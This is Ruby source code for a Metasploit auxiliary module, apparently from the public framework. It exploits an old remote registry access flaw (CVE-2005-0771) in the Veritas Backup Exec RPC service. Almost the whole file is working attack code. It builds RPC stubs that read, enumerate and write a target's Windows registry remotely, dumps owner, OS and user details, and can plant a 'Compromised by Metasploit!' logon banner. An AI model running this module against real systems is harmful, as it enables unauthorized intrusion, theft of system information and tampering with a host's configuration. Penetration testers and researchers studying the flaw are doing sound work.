Veritas Backup Exec Server Registry Access

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::DCERPC
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Veritas Backup Exec Server Registry Access',
      'Description'    => %q{
        This modules exploits a remote registry access flaw in the BackupExec Windows
      Server RPC service. This vulnerability was discovered by Pedram Amini and is based
      on the NDR stub information posted to openrce.org.
      Please see the action list for the different attack modes.

      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '17627' ],
          [ 'CVE', '2005-0771' ],
          [ 'URL', 'https://web.archive.org/web/20110801042138/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=269'],
        ],
      'Actions'     =>
        [
          ['System Information', 'Description' => 'Dump system info (user, owner, OS, CPU...)'],
          ['Create Logon Notice', 'Description' => 'Add a logon notice']
        ],
      'DefaultAction' => 'System Information'
      ))

      register_options(
        [
          Opt::RPORT(6106),
          OptString.new('WARN',
            [
              false,
              "The warning to display for the Logon Notice action",
              "Compromised by Metasploit!\r\n"
            ]
          ),
        ])
  end

  def auxiliary_commands
    return {
      "regread" => "Read a registry value",
      # "regenum" => "Enumerate registry keys",
    }
  end

  def run
    case action.name
      when 'System Information'
        system_info()
      when 'Create Logon Notice'
        logon_notice()
    end
  end


  def cmd_regread(*args)

    if (args.length == 0)
      print_status("Usage: regread HKLM\\\\Hardware\\\\Description\\\\System\\\\SystemBIOSVersion")
      return
    end

    paths  = args[0].split("\\")
    hive   = paths.shift
    subval = paths.pop
    subkey = paths.join("\\")
    data   = backupexec_regread(hive, subkey, subval)

    if (data)
      print_status("DATA: #{deunicode(data)}")
    else
      print_error("Failed to read #{hive}\\#{subkey}\\#{subval}...")
    end

  end

  def cmd_regenum(*args)

    if (args.length == 0)
      print_status("Usage: regenum HKLM\\\\Software")
      return
    end

    paths  = args[0].split("\\")
    hive   = paths.shift
    subkey = "\\" + paths.join("\\")
    data   = backupexec_regenum(hive, subkey)

    if (data)
      print_status("DATA: #{deunicode(data)}")
    else
      print_error("Failed to enumerate #{hive}\\#{subkey}...")
    end

  end

  def system_info
    print_status("Dumping system information...")

    prod_id   = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows\\CurrentVersion', 'ProductId') || 'Unknown'
    prod_name = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName') || 'Windows (Unknown)'
    prod_sp   = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'CSDVersion') || 'No Service Pack'
    owner     = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOwner') || 'Unknown Owner'
    company   = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOrganization') || 'Unknown Company'
    cpu       = backupexec_regread('HKLM', 'Hardware\\Description\\System\\CentralProcessor\\0', 'ProcessorNameString') || 'Unknown CPU'
    username  = backupexec_regread('HKCU', 'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer', 'Logon User Name') || 'SYSTEM'

    print_status("The current interactive user is #{deunicode(username)}")
    print_status("The operating system is #{deunicode(prod_name)} #{deunicode(prod_sp)} (#{deunicode(prod_id)})")
    print_status("The system is registered to #{deunicode(owner)} of #{deunicode(company)}")
    print_status("The system runs on a #{deunicode(cpu)}")
  end

  def logon_notice
    print_status("Setting the logon warning to #{datastore['WARN'].strip}...")
    backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeText',  REG_SZ, datastore['WARN'])
    backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeCaption',  REG_SZ, 'METASPLOIT')
  end


  def deunicode(str)
    str.gsub(/\x00/, '').strip
  end

  #
  # Write a registry key
  #
  def backupexec_regwrite(hive, subkey, subval, type, data)
    stub = backupexec_regrpc_write(
      :hive => registry_hive_lookup(hive),
      :subkey => subkey,
      :subval => subval,
      :type => type,
      :data => data
    )
    resp = backupexec_regrpc_call(5, stub)
    return false if resp.length == 0
    return true
  end

  #
  # Read a registry key
  #
  def backupexec_regread(hive, subkey, subval, type = REG_SZ)
    stub = backupexec_regrpc_read(
      :hive => registry_hive_lookup(hive),
      :subkey => subkey,
      :subval => subval,
      :type => type
    )
    resp = backupexec_regrpc_call(4, stub)

    return nil if resp.length == 0
    ret, len = resp[0,8].unpack('VV')
    return nil if ret == 0
    return nil if len == 0
    return resp[8, len]
  end

  #
  # Enumerate a registry key
  #
  def backupexec_regenum(hive, subkey)
    stub = backupexec_regrpc_enum(
      :hive => registry_hive_lookup(hive),
      :subkey => subkey
    )
    resp = backupexec_regrpc_call(7, stub)
    p resp

    return nil if resp.length == 0
    ret, len = resp[0,8].unpack('VV')
    return nil if ret == 0
    return nil if len == 0
    return resp[8, len]
  end

  #
  # Call the backupexec registry service
  #
  def backupexec_regrpc_call(opnum, data = '')

    handle = dcerpc_handle(
      '93841fd0-16ce-11ce-850d-02608c44967b', '1.0',
      'ncacn_ip_tcp', [datastore['RPORT']]
    )

    dcerpc_bind(handle)

    resp = dcerpc.call(opnum, data)
    outp = ''

    if (dcerpc.last_response and dcerpc.last_response.stub_data)
      outp = dcerpc.last_response.stub_data
    end

    disconnect

    outp
  end

  # RPC Service 4
  def backupexec_regrpc_read(opts = {})
    subkey = opts[:subkey] || ''
    subval = opts[:subval] || ''
    hive   = opts[:hive]   || HKEY_LOCAL_MACHINE
    type   = opts[:type]   || REG_SZ

    stub =
      NDR.UnicodeConformantVaryingString(subkey) +
      NDR.UnicodeConformantVaryingString(subval) +
      NDR.long(type) +
      NDR.long(1024) +
      NDR.long(0) +
      NDR.long(4) +
      NDR.long(4) +
      NDR.long(hive)
    return stub
  end

  # RPC Service 7
  def backupexec_regrpc_enum(opts = {})
    subkey = opts[:subkey] || ''
    hive   = opts[:hive]   || HKEY_LOCAL_MACHINE
    stub =
      NDR.UnicodeConformantVaryingString(subkey) +
      NDR.long(4096) +
      NDR.long(0) +
      NDR.long(4) +
      NDR.long(4) +
      NDR.long(hive)
    return stub
  end

  # RPC Service 5
  def backupexec_regrpc_write(opts = {})
    subkey = opts[:subkey] || ''
    subval = opts[:subval] || ''
    hive   = opts[:hive]   || HKEY_LOCAL_MACHINE
    type   = opts[:type]   || REG_SZ
    data   = opts[:data]   || ''

    if (type == REG_SZ || type == REG_EXPAND_SZ)
      data = Rex::Text.to_unicode(data+"\x00")
    end

    stub =
      NDR.UnicodeConformantVaryingString(subkey) +
      NDR.UnicodeConformantVaryingString(subval) +
      NDR.long(type) +
      NDR.long(data.length) +
      NDR.long(data.length) +
      data +
      NDR.align(data) +
      NDR.long(4) +
      NDR.long(4) +
      NDR.long(hive)
    return stub
  end
end